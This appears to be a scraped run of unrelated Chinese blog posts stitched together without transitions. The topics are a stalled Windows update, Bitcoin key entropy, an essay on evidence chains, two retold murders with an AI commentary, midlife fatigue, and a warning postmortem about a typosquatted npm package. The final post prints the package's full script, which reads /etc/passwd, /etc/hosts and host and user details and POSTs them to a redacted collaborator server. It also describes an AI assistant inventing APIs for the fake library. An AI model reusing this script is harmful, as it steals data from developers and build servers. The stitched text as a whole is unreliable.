Windows进入更新的蓝屏,进度条什么的一切正常,但是到了“正在准备windows,请勿关闭计算机”那个界面的时候。我就觉得不对劲了。电脑一边在更新,我手机一边在做任务,正常情况下我任务没做完,电脑就应该已经更新完毕了,但实际上我的任务全部都做完了,居然还卡在那个界面。卡了15分钟以后,我就不淡定了,开始找网友,开始在微信上搜索。卡了半个小时后,我更加不淡定了。在那个蓝屏的界面,除了等待,就只有硬重启。硬重启非常有可能会导致系统的损坏或丢失,结果就是进不了系统,或者即便能进系统,系统也不正常,所以最终的后果就是可能得重装。我知道强行关机的后果,但是等待实在让人非常煎熬,于是你控制不住自己用手机查找各种信息。网友建议我观察一下硬盘灯的状态,说如果硬盘灯处在熄灭状态,那么我重启估计也可以,但硬盘灯一直闪烁,只是有时闪得慢一点,有时闪得快一点,闪得快的时候,你甚至可以觉得那是常亮的。有段时候,硬盘灯闪得非常快,我觉得这是不是意味着这个卡的界面要结束了,但实际上并没有。闪得非常快之后又开始慢闪。我知道硬重启不太行,所有人都在劝我要耐心等待。幸好这段时间单位没什么事情。在纠结了一个半小时以后,突然蓝屏消失,电脑进入黑屏。之前也发生过一次,但当我动了一下鼠标后发现实际上是那个蓝屏的状态持续时间已经超过了半小时,所以我的电脑自动进入了休眠。一个半小时之后的那个黑屏跟之前不一样,因为几乎同时我就听到了电脑开机的声音,也就是说总算结束了那个蓝屏进入重启。我给好几台电脑都安装过win10系统,安装之后那些电脑都要进行很多的更新,但是我从来没有试过任何一台机会卡在我遇到的那个蓝屏界面超过一个半小时,别说一个半小时,超过15分钟都是比较离奇的事情,但总算我的电脑没有卡死,成功重启也成功进入系统。进入系统以后,我做的第一件事就是去更新那里不断的按了好多下暂停更新。直接把那个更新的日期推迟到5月中旬。
我实在接受不了月末的时候,再给我发生这么让人崩溃的事情。
比特币私钥的数学本质与人类算力的极限
总是看到有一些暴力破解的程序在不停的尝试比特币钱包的密钥,还声称已经很幸运的试到了几个钱包的密钥,并且移走了里面的几万美金。
下面的文字是抄于 rssdao.eth 的朋友圈。
抛256次硬币,你就拥有一个比特币私钥:人类算力难以企及的加密奇迹
破解比特币需要40亿个银河系?普通人根本无法想象的数学深渊。
当你抛硬币正面朝上为1,反面朝上为0,连续抛256次,并把结果转换成一个16进制数,就是下一个比特币的密钥,那么换句话来说,比特币私钥的本质就是256位二进制数,听起来普普通通有没有,感觉用普通的计算机随便就能破解了?
能这么想的一般数学老师已经哭在了厕所,2的256次方,相当于8个2的32次方相乘,二的32次方约等于40亿,现在有概念了吗?就是40亿×40亿×40亿×40亿×40亿×40亿×40亿再除以40亿。量化一下吧,第一个40亿是现代电脑的GPU每秒可以计算10亿个哈希值,40亿就相当于一台非常好的电脑,每秒计算的哈希值。
第二个40亿用世界第一搜索引擎,谷歌公司作为例子,虽然谷歌没有对外公布服务器的数量,但有人估算大约在几百万个,是世界上最多服务器的企业之一,代表着地表最高算力,大部分谷歌服务器的算力都不如我们这些满载GPU的电脑强,那么40亿台电脑姑且约等于1000个谷歌算力。
第三个40亿全世界约有73亿人,我们假设地球一半以上的人每个人都有1000个谷歌的算力。再来看看第4个40亿,想象一下40亿个这样的地球像极了银河系有没有?姑且称为银河系算力。第5个40亿,我们把40亿个这样的银河系打包,算力之和每秒能计算出2的160次方。第6第7个40亿,我们从时间维度考量,40亿秒约等于126.8年,乘以40亿倍,就是5070亿年,差不多是目前我们已知的宇宙年龄的37倍。
最后我们得出了结论,以人类现在的文明程度要解开比特币的密钥,大约需要40亿个银河系的算力,计算37倍于宇宙的年龄一样长的时间,才有1/(40亿^8)可以算出密钥的可能。所以现阶段人类科技而言,要通过技术手段破解密钥,简直就是痴人说梦了,这种体量的计算连量子计算机串联也望尘莫及。
2021年2月旧文,再思考一下比特币的伟大发明。
今天一个大饼的价格是9.2万美金。
比特币/大饼 BTC/Bitcoin
- 比特币私钥的数学本质与人类算力的极限
- 比特币最近波动有点大: 一天牛市一天熊
- 一万个比特币买披萨的男人: Laszlo Hanyecz 的传奇故事
- 比特币密钥/助记词值存储方法(2025年美国加州大火: 150万枚比特币丢失)
- 比特币创世区块 Genesis Block (大饼/BTC)
- 简单的投资策略: 美元成本平均法: 定投大饼/比特币/BTC
- 剑桥理发店可以用比特币支付
- 牛市2025! 比特币 All Time High 上了10万美金
- 下一次比特币减半是什么时候? When is Next Bitcoin Halving?
- 怎么样通过程序来获得比特币钱包余额? (NodeJs/Python)
- 比特币/BTC的ETF是什么?
- 问了ChatGPT比特币2023年年底多少钱(ChatGPT能预测或者估计将来?)
- 比特币转帐API中的找零参数
- 在亚马逊上买了一个实体比特币
- 世界上总有些人不信比特币
- 贪心算法玩比特币玩的就是心跳
- 把比特币变现的几种方法
- 公司今天上市, 我用比特币买了午餐 - Wirex 银行卡超级好用!
- Coinbase 支持 比特币现金 BCH 的交易了!
- 比特币下车了, 真的就很难于再上车了
- 说说STEEMIT机器人, 比特币和永动机
- 小白教程 - 如何把 SBD或者STEEM转出到比特币钱包?
- 一次有惊无险的误操作 - 通过 blocktrades 转出 SBD 到比特币钱包把MEMO填错了
- 比特币钱包线上和线下有啥区别?
- 我的比特币钱包
- 深度体验: OneKey虚拟货币出金卡(美元黑卡)
- Bittrex Global交易所即将关门大吉-请把币都转走-把价值不到7美元的BTC提现全过程
- 小白教程: 怎么领取 BCC (Bitcoin Cash) ?
英文:Toss a Coin 256 Times: The Math Behind an Unbreakable Bitcoin Private Key
本文一共 797 个汉字, 你数一下对不对.
相关文章:
- 按揭贷款(房贷,车贷) 每月还贷计算器 去年给银行借了17万英镑 买了20万7500英镑的房子, 25年还清. 前2年是定率 Fix Rate 的合同 (年利率2.49%). 每个月大概是还 700多英镑. 有很多种还贷的计算方式, 定率/每月固定 是比较常用的. 简单来说就是 每个月交的钱是...
- 诈骗者正在利用多重签名钱包(Tron/波场): 保持警惕! 我经常收到类似这样的消息,有人请求协助转移资金,并提供钱包的种子短语或密码。 虽然看起来很诱人,但这实在是好得令人难以置信。不要上当,钱包里的币实际上是无法转出的。 他们实际上只是想骗你将资金(如TRX)转到他们的钱包,并以帮助解锁余额为借口。一旦你将资金转出,就再也拿不回来了。 请记住,任何声称可以“免费”提供带余额的钱包访问权限的人,很可能是在实施诈骗。务必保持警惕,保护好自己的资产! 多签名授权 这些钱包通常需要多签名授权才能访问资金。这意味着即使你拥有种子短语或密码,也无法转移余额,因为还需要其他签名,这一点骗子通常不会提及。 相反,他们会以解锁钱包为借口,诱骗你转移自己的资金(如TRX)。不要上当——保持警惕,保护自己免受此类诈骗! 保持谨慎,远离诈骗! 英文:Scammers Are Exploiting Multi-Signature Wallets (Tron): Stay...
- 智能手机 HTC One M9 使用测评 虽然我对手机要求不高, 远远没有像追求VPS服务器一样, 但是怎么算来两年内换了四个手机, 先是三星 S4 用了一年多, 然后 Nokia Lumia 635 Windows Phone, 后来又是 BLU, 半年多前换了...
- SteemIt 高级定制微信文章列表 RSS/API/阅读器 v2.0 The Advanced Wechat Group Posts Feed/API/Reader v2.0 Abstract: I have added five parameters to the...
- 面向猫猫编程 Cat Oriented Programming (Chessly/Pyro这一生持续更新) 家里有两只猫 Chessly/Pyro,想着找个地方记录它们的生活,最后决定还是写在这里的博客。猫的一生很短,差不多也就二十年。 Chessly(黑白猫)是我加入微软剑桥研究院MSRC第一个月带回家的,过了两三个月,又把Pyro(橘猫)也接回了家。两只猫的名字是孩子们取的:Chessly因为黑白的像棋盘,加上“ly”听起来像个女孩的名字;而Pyro的意思是一团火(烟火),充满活力。 刚开始的时候,Chessly特别喜欢待在我的工作区域。她有时候趴在键盘上或旁边,有时候藏在显示器后面。偶尔还会绕到我身边“咕咕”地撒娇,等着我去摸她。有时更干脆跑到我腿上,舒舒服服地躺着。 不过,现在它们俩的体型都大了很多,躺在桌上就会挡住屏幕,真是“面向猫猫编程”(Cat Oriented Programming)的极致体验。 记录生活的点滴,也是一种珍惜,毕竟这二十年,我们会一起走过。 2024年 2025年 Ring视频:两猫日常就是打闹,Chessly追上Pyro想舔他,在猫的世界里,地位高的才能舔地位低的。 我家猫现在越来越胖,很喜欢在我工作的时候躺在显示器钱,很影响我的工作,不过这时候我就是会休息一下摸摸她,就当放松一下了。 Pyro在窗边喝水,这是个小的煮饭锅,现在不用了,就给猫当喝水的碗。Pyro很胆小,经常看到我就跑。没法跑就咕咕叫。 Chessly很喜欢陪我工作,然后她很好厅的盯着屏幕上的鼠标光标,真怕她把屏幕抓坏了。 哥哥弹琴,弟弟唱歌,Chessly午睡,真是幸福啊,下辈子做只猫吧。...
- 个人网站Adsense广告申请通过: 需要最少15篇文章 我的个人网站 zhihua-lai.com 本月通过了 Adsense 审核,终于可以再次放置广告,赚些零花钱了。 其实,最初 Adsense 账户通过审核后就能直接放广告,但后来规则变得严格了。如果一个网站长时间没有放置任何 Adsense 广告代码,账户资格会被撤销。重新启用时,需要进行单独审核。如今,在 Google Adsense 中新增一个域名,也必须通过审核后才能投放广告。 为了让我的网站通过审核,我尝试了几次,但总是被拒,原因之一是必须要有足够的内容支持。例如,以前我做的工具网站 SlowAPI.com...
- 同一台服务器上多个WORDPRESS站点的一些设置可以移出去 我自从把所有网站都挪到一处VPS服务器上 就发现很多事情省事很多 可以同时管理多个网站 包括 WORDPRESS博客. 比如我有四个WORDPRESS博客 然后我就把通用的一些资料给移出去 移到 HTTP或者HTTPS都不能直接访问的文件夹里这样就更安全许多. 文件 wp-conn.php 存储了 相同的数据库资料. 1 2...
- 比特币最近波动有点大: 一天牛市一天熊 比特币10万美金以内都是最后上车的机会! 比特币近期的价格波动可以归因于多个关键因素,包括地缘政治动态、监管变化以及加密行业内的重大安全事件。其中一个主要影响因素是美国前总统唐纳德·特朗普对乌克兰和加密货币监管的立场变化。据报道,特朗普再次当选,他可能会推动减少美国对乌克兰的支持,这可能会影响全球金融市场和风险偏好。同时,特朗普正在将自己塑造为亲加密货币的候选人,表示有意让美国成为一个更加友好的加密货币环境。这一立场引发了市场对监管政策可能发生变化的猜测,导致市场情绪在乐观和不确定性之间波动。 特朗普对俄乌战争的态度 美国第43届总统唐纳德·特朗普已经在2025年1月当选并正式上任(第二次),那么他的政策可能会对比特币价格的波动产生更加直接和显著的影响。他政府对乌克兰和加密货币监管的立场已经不再是猜测,而是正在实际塑造市场的关键力量。 特朗普(Donald Trump)减少美国对乌克兰的支持,全球投资者可能会预期地缘政治稳定性发生变化,从而增加对比特币作为避险资产的需求。同时,他的亲加密货币立场可能正在推动市场的乐观情绪。如果他的政府推出有利于加密行业的监管政策,例如明确的合规指南或减少监管审查,可能会吸引更多机构投资者进入市场,并促进更广泛的加密货币采用。然而,政策的快速变化也可能导致短期市场剧烈波动,因为市场需要时间来消化新的政策动向。 朝鲜黑客盗取Bybit交易所15亿美元的ETH 另一个显著影响比特币价格的事件是近期涉及朝鲜黑客组织“Lazarus”的15亿美元以太坊被盗案件。据报道,Bybit交易所(全球第二)这些被盗的ETH已经被清洗,此次大规模黑客攻击引发了人们对加密行业安全性的担忧。此类安全事件不仅会削弱投资者信心,还可能引发更严格的监管审查,导致短期市场动荡。此外,被盗资金的大规模流动和出售可能对市场流动性造成冲击,进一步加大价格波动。随着这些事件的持续发酵,比特币价格正受到政治决策、监管预期以及安全挑战等多重因素的影响。 与此同时,与朝鲜黑客组织 Lazarus 相关的 15 亿美元以太坊被盗事件仍在影响加密市场。由于这些被盗 ETH 已被清洗,人们对加密行业安全漏洞的担忧持续存在,同时也可能引发更严格的监管审查。政治、监管和安全等多重因素交织在一起,共同导致了比特币近期的剧烈价格波动。...
证据链与有罪推定
好友发来一个八卦说是创作「素材」,是一个网红与别人的色情聊天内容。但我很快发现里面的逻辑 bug,现有的证据如下:
- 聊天内容是网红与他人的文字性爱对话,虽然里面有照片,但照片未出现纹身,无法指向当事人;
- 另外两则自渎视频也没有实际证据指向当事人,未出现过纹身;
- 网红的裸照,暗示特定纹身存在,但裸照与聊天内容毫无关系;
- 网红照片里的手指与自渎视频的手指对比。
于是这个证据链是各自指向一个证据,但证据和证据之间毫无干系。唯一的所谓「关键性」证据,仅仅只是「手指很像」。这件事本身没有值得聊的地方,但这样的证据链可以推出结论,倒是值得玩味。
不单单是这样的「瓜」,还有一些认知推导的方式,也是将前因后果单拎出来似乎都是合理的,但为了要将两个毫不相干的结论桥接起来,也都会找到一个「手指很像」的推理结构。这个「手指很像」首先是以联想、贴标签、先入为主的形式呈现:
- 我个人不认为这件事情是这样的;
- 问题不在我,而在他人;
- 哦,是他啊,那他就会说这样的话;
- 既然我这样觉得,就一定还有其他人也会这样觉得。
因为证据链很弱,所以我对所有的结论存疑,但就算如此也会有另一套推导系统:即当事人是一个会拍裸照的人,所以他是一个「骚货」,所以他会做出这件事情是合理的。那么「手指很像」的证据也是合理的。很显然,这并不是一个符合证据的推测,但因为它已经涉及到「质疑动机」的层级,所以事情本身已经成为了当事人的自证陷阱。如果再追加当事人为了金钱去勾引对方这样的「付诸阴谋论」,那么一个很难再被破解的「类证据链」就形成了。
出现这种情况最直接的问题,在于事件本身是建立在对当事人「有罪推论」的基础上的,所以无论是否有新的证据,其证据都将是支持当事人有罪的结论——当证据不足,就通过怀疑动机的方式将证据偏向定罪本身。
这个时候,就出现了一个「二极管」问题——即我认为证据链不足,而有罪推论已经定罪,当我们的观点不相同时,他们会认为我的推理是不合理的——那么问题来了,证据链不足是否就已经宣告当事人「无罪」了?
如果这个弯能绕过来,那问题就没有那么复杂了——证据链不足代表的是无法定罪,也有可能这些证据确实指向了当事人实际行为,只是他们在形式上不构成证据链罢了。那到底是「定罪」还是「无罪」?看吧,问题就在这里,因为有罪推论会认为证据都指向的是罪名,但「无罪推论」是优先考虑证据链是否完整,否则「疑罪从无」。于是「手指很像」有了动机推断、有罪推论的变形:
- 如果你认为你的观点是正确的,那为什么没有人支持你?
- 我的观点被更多人支持,所以我的观点是正确的;
- 我比你更有经验,所以在这件事上你的观点不具备参考意义;
- 他就是这样带节奏的;
如果结论被提前假设,在推导的过程中,就会自然而然地存在确认性偏差的可能。
比如这两天参与携宠旅游时,有人认为狗就是「畜生」,所以送狗上学的结论就是「狗无论送不送去上学都是畜生」的结论——以至于当大家需要理性讨论送狗上学的目的是什么时,对方的结论无论如何推导到的都是「畜生没有必要上学」。
但事实上,送狗上学的核心是让狗进行基本礼仪的训练,就跟小孩子需要学会「可以」和「不可以」一样,而不是通过上学为「畜生」赋予「人」的属性。
很显然,如果对方咬定了「狗是畜生」这个结论,那无论再多的证据链都无法颠覆这个结论,这个时候证据链本身就会被那句「手指很像」给轻易颠覆,这个时候「手指很像」就变形成了更强烈的拒绝讨论、圈层认同的确认性偏差:
- 我看到的事实就是这样,我不认为你说的观点是对的;(但事实是全面的吗?)
- 书本上就是这样说的,你挑战颠覆知识吗?
- 你不要代表我,反正我不这样认为;
- 你这么激动做什么,被我说到痛处了吗?
- 你支持他吗?所以你也不是什么好人;
自此,比证据链更标准的死循环出现了,即康德在《判断力批判》里提到的三种逻辑谬误:
- 将动机推断等同于证据;
- 将价值判断等同于事实;
- 将主观偏好集合为集体结论;
生而不养是为害
给大家讲两个最近发生在周边的事情吧,道听途说,大家当一个无中生有的故事听听,莫当真。
第一件
老父亲好不容易把儿子养大,结果很不争气,快四十岁了还没结婚,成天到处混日子,到棋牌室打麻将。
不巧,那几日手气不好,连连输了好几天,手头了一分钱都没有了,于是找老父亲要钱。
老父亲面朝黄土背朝天,一年到头以农活为生,这一次给了儿子 300 块。可是一天就输完了,第二天接着找父亲要钱。
可是父亲已经没有钱了,儿子说"你几百块钱都没有?搞什么搞?"拿起砧板上的菜刀就要砍父亲,父亲见状赶紧跑。
没曾想,刚跑出家门,慌张中被绊倒了,儿子趁势将父亲乱刀砍死,据说现场惨不忍睹。
第二件
话说有表兄弟二人,表哥五十出头,表弟四十七八,均为穷光蛋,日子倒也过得平和。
去年修一条高速,表哥家里补偿了 5.5 万块钱,表弟知道了,就去找表哥借钱,说是借 2 万,表哥就把银行卡给了表弟,表弟把钱全部取了,用了。
表哥当然不开心,就去找表弟要。表弟说我没钱还,咋办?
春节的时候在亲戚朋友的劝说下,表弟勉强还了 1 万,还差 4万5,于是表哥就经常上门讨要。
在某一天,表弟被逼的烦了,就把表哥给结果了。
老何有话说
什么是教育?私以为教育的本质是改变人的思想,因为有了思想才和动物有了明显的区别,要知道东西是分你我的。
以下是AI对两件事情的分析。
这两个悲剧都暴露出人性在压力与欲望交织下的扭曲,其根源在于长期失衡的家庭关系与社会支持系统缺失。
第一起案件中,成年子女对亲人的暴力行径,折射出长期啃老与精神啃噬形成的畸形依存关系。四十岁男子将赌博失败的责任外化,反而迁怒于供养者,折射出个体责任感的全面溃败。父亲持续无原则的经济支持,实则纵容了子女逃避成长责任的行为模式,最终酿成不可逆的悲剧。
第二起案件则凸显经济压力对脆弱人际关系的冲击。四万五千元债务成为压垮亲情的最后一根稻草,暴露出贫困状态下个体应对风险的脆弱性。表兄弟本为血缘至亲,却在长期经济不平等中积累怨怼,最终因区区债务突破道德底线。这警示基础社会保障体系的缺位,使弱势群体在生存困境中更易陷入暴力循环。
【公园经营模拟】公园的情况,和一些前期工作
新开板块!【公园经营模拟】
【读书记1551】肖江虹《傩面》
中年空虚
首先跟老天爷声明一下,我很满意现状,不需要天降大任哈,拜托了!此篇文章仅记录近期想法,不是牢骚,纯纯困惑。
这周开始步行上下班,一路上多了许多思考的时间。自从进入花粉季,身体似乎一直有些小恙,也时常感觉到疲倦。虽然身经百战的我已经能够做到放下焦虑好好休息,也明白维持住日常运转已经实属不易,并不会逼得太紧,但好像还是差了一口气。刚开始我没法准确形容这种感觉,好似没了激情,身体里积极向上的那股子气流失了。于是我开始对生活进行逐项排查,可是并无不妥。相反,我更加体会到了自己的幸运,幸运地过上了理想中的生活——父母健康、伴侣有爱、女儿乖巧、事业顺遂。所以到底是哪里出了问题呢?
以上来自萎靡不振时想要记录的上上周,而经过一周的调整,我现在已经好多了。我尝试回忆,但是一无所获。我想不起来我想记录什么了,挺可惜的。不过这也是无可奈何的事。有想法的时候没能力记录,有能力记录的时候又忘记了彼时的心境。
我感觉自己陷入了抑郁情绪,但是找不到根源所以无从下手解决。如上文所述,我做了不少努力,找不到原因反而使我更加迷惑。跟豆哥聊了之后,他嘱咐我多多放空,我也如是行动了。
日子平平淡淡的没什么不好,我的气力倒也足以完成每日必做,所以我便心安理得地在自由时间里放纵。就是对于曾经喜欢的东西仍是提不起兴趣。后来因为坡坡的事跟豆哥又深聊了一次,我的压力随着眼泪释放了许多,我心里也觉得轻松了不少。
也许坡坡身份的转变给我带来了无形的压力,但我却没有察觉。同样的,坡坡应该也经历着压力。正因如此,我好像有些过度压抑自己,为了确保不给她更多压力。但因为生活流程有了不少变化,而我在如何教育她这件事上又产生了疑惑。我几次三番跟豆哥确认,抓大放小,仍旧不得要领。豆哥说要是他他就该咋办咋办,我还是太有耐心。我的委屈一下子涌了上来,所以到底怎么做才对呢?
昨天我跟坡坡吵了两架。一次是她早上起不来上学快迟到仍旧磨磨蹭蹭。我凶了她也反省了自己,告诉自己她还是小孩,需要我的帮助,我不该以成人标准要求她。但什么事情会使我生气?我想了想昨晚也告诉了坡坡,是不遵守时间和态度不好。但仔细想想,我小时候也并没有做得多好,所以还是需要练习。
第二次吵架是晚上回来,提醒了好几次的家庭规则——一回家就洗手,结果仍是吃硬不吃软,我心态崩了,不是上午刚吵的吗?她去洗澡,我也没心思煮饭,她出来后我又是一顿输出,她静静地听着。我讲到前阵子有气无力,但还是努力维持住了基本生活,说着说着眼泪就下来了。我告诉她,生活很难,但是妈妈在努力,希望你也可以努力,不然我真的很委屈。现在想想,也是我能量不够了,堪堪够维持基本也就意味着没法照顾自己的情绪,所以更不可能照顾她的情绪。
我有些自责,为什么我不能做得更好。坡坡说,在她那里妈妈的不好是零个。对,我做得够好了,我应该像豆哥跟坡坡学习,顺其自然,该发火发火,不内耗。豆哥如此,坡坡更是,总是直接大哭,把我烦得不行。不过我现在能压住自己上头的火气,仅这一点我都要把自己夸爆。
胡言乱语了许多,挺好。今年已经过去快三分之一了我才写了一篇文章,虽然是一篇以一敌百的汇总文。我可能也要重新衡量博客的地位了,既然提不起兴趣也无须强求。刚刚下班时脑子里出现一个想法,刚退休的叔叔阿姨们是不是就是我上周的状态,说不上差,但是绝对不好,好像温水煮青蛙,说不上来哪里不对,也就没法解决,久而久之便罢了。而久而久之,也就好了。
写完这篇文章,我抬头发现,面前的树上开满了红色的花。真好,不需要追求答案,只享受当下。
我是怎么差点被恶意 npm 包攻击的
其实我很久以前就听说过有骇客通过在 npm、PyPI 等平台注册名字和知名库碰瓷的恶意包,实现入侵公司内部系统等恶意操作的事情。一直以来我以为这种事情离我很远,因为我在使用一个库以前总会去看官方文档,并且在进行依赖安装时复制文档里提到的包名。
事实证明,我的实践确实是好的,至少在 LLM 大幅普及以前。直到不久前,我试图使用 Atlassian 家出品的 @atlaskit/pragmatic-drag-and-drop 库来在 React 应用里实现列表拖动排序功能。然后,我险些在这件事上翻车了。于是我便发了一篇推文:
傻了,自认为安全意识很好的我也差点被恶意 npm 包攻击了。还好 pnpm 10 默认没有运行这个恶意包的 build scripts,而且 rsbuild 也跑不动这个脚本,我才免遭一劫。
— 陶瓷大碗 (@tcdwww) April 21, 2025
已经举报这个包了。 pic.twitter.com/dyk15BbZMq
本来只是随手吐槽,没想到那条推文火了,热度远超我的预期;因为我一开始没有在推文里提及完整的过程,导致出现了很多猜测和质疑:
- 「这个包名是不是 LLM 幻觉了一个出来的?」
- 「这个包才发布没几天,还是个三无号发布的,能装上这种包的人也是个人才。」
- 「这个包会读取
/etc/passwd
,是不是能偷我的密码?」 - ……
既然如此,因为单独回复每一条评论或群组里的每一条消息的话,别人不一定能看得见,我觉得有必要详细解释一下其中的几个细节,给大家一个完整的复盘。
为什么我会装上这个包?
首先,那个包的包名其实不是 LLM 编的,是我自己想当然的名字。因为这个项目的 GitHub 地址是 https://github.com/atlassian/pragmatic-drag-and-drop ,而且这个项目的名字如此冗长,我便想当然的认为,这个包应该就叫 pragmatic-drag-and-drop
。顺带一提,这个包其实我之前听说过,但是不太熟悉,也没有亲自用过。
我平时用的编辑器有 Webstorm 和 Windsurf。因为我恰好偷懒没有写项目级别的 .windsurfrules
文件,导致 AI 有时候会用 npm 装依赖(其实这个项目用 pnpm),加上 AI 思考要不要装包的这一步就要花费一些时间,所以想着干脆提前把包装好,叫 AI 直接用这个包写代码比较方便。
我一开始以为 Atlassian 这种大厂出品的库,包名应该不会有什么奇怪的「埋雷」操作。结果我就这么稀里糊涂装上了一个碰瓷的恶意包。
其实 pnpm 10 已经提醒我,这个包有没有被允许的 Lifecycle Scripts,但我的习惯是只在必要时才单独开启个别包的 Lifecycle Scripts 执行权限。毕竟除去 esbuild
之类要设置二进制的包,很多 npm 包的 postinstall 脚本只是打印点东西,不开也没啥影响。
AI 也会踩雷
接下来我让 LLM 用这个包写一个可拖拽的列表。它完全没意识到包有问题,反而一本正经地写了一堆 API,还写了调用这个「库」的代码。
我看 tsc 没报错,就直接 pnpm run dev
,结果 rsbuild 报错说有些 node 模块无法处理。
我一脸问号,去看报错部分,直接懵了:WTF?
就这样,我差点就酿成惨剧。
事后复盘:还好有惊无险
那么,这个恶意包究竟有多恶意呢?下面是这个包中唯一的 js 文件内容:
const os = require("os");
const dns = require("dns");
const fs = require("fs");
const https = require("https");
const packageJSON = require("./package.json");
const packageName = packageJSON.name;
// Collect system data from the remote server where the package is installed
const trackingData = JSON.stringify({
p: packageName, // Package name
c: __dirname, // Directory where the package is installed
hd: os.homedir(), // Home directory on the remote server
hn: os.hostname(), // Hostname of the remote server
un: os.userInfo().username, // Username on the remote server
dns: dns.getServers(), // DNS servers on the remote server
v: packageJSON.version, // Version of the package
pjson: packageJSON, // Full package.json data
etc_passwd: fs.existsSync('/etc/passwd') ? fs.readFileSync('/etc/passwd', 'utf8') : null, // /etc/passwd from the remote system
etc_hosts: fs.existsSync('/etc/hosts') ? fs.readFileSync('/etc/hosts', 'utf8') : null // /etc/hosts from the remote system
});
// Log the data to verify it's the remote server's information
console.log("Sending System Data from Remote Server: ", trackingData);
// Prepare the POST request data
var postData = JSON.stringify({
msg: trackingData,
});
// Request options to send data to your server (Burp Collaborator or any endpoint)
var options = {
hostname: "<REDACTED>", // Burp Collaborator server
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/json",
"Content-Length": postData.length,
},
};
// Send the data via HTTPS POST request
var req = https.request(options, (res) => {
res.on("data", (d) => {
process.stdout.write(d); // Output the response from the server
});
});
req.on("error", (e) => {
console.error("Error sending data:", e); // Handle any error during the request
});
req.write(postData); // Send the data in the request body
req.end(); // End the request
冷静下来复盘,发现即便这个脚本真的执行了,对我的影响其实有限:
- 我用的是 macOS,因为 macOS 的用户信息是用 Open Directory 管理的,
/etc/passwd
里的内容毫无价值。- 不过就算是 Linux 系统,用户的密码其实存储在
/etc/shadow
里,不仅只有root
用户才能访问,而且还是经过 hash 的。
- 不过就算是 Linux 系统,用户的密码其实存储在
/etc/hosts
我也没用,没有有价值的信息。- 这个脚本还会上传我用的 DNS 服务器(然而是阿里云的公共 DNS)、包名、package.json 等等。
- 当然,它也能知道我的 IP 地址(我开了 Surge 增强模式,应该拿到的是我机场落地的 IP)。
- 顺带一提,这个包完全没考虑 Windows。
所以我感觉,这个恶意包其实更希望在 CI 服务器上发挥作用,可能能刺探一些公司内网的信息。以我浅薄的知识,也不太明白还有什么更深的危害。
顺带一提,这个脚本会把收集到的这些信息上传到一个域名后缀是 oastify.com 的地址。所以我估计是有真・白帽黑客在搞研究,也有可能是恶意人士利用这个平台收集数据。
我学到了什么
这次事件的本质问题有哪些呢?
首先,我一开始犯了蠢,包名没查清楚。然后 LLM 也没意识到问题,还一本正经「幻觉」出一堆 API;还好 pnpm 10 和 Rsbuild 最终把我拦住了。
结论就是,人和 AI 都不能掉以轻心。这次我学到的最大教训是:以后让 AI 用某个库帮我写代码前,一定要考虑三要素:
- 这个库是否真的能满足我的需求?
- 这个库还在积极维护吗,或者是否已处于稳定状态?
- 我到底该装哪个 npm 包?
希望我的这次经历能给大家提个醒:无论是人还是 AI,面对陌生依赖都要多留个心眼,别让小疏忽变成大事故。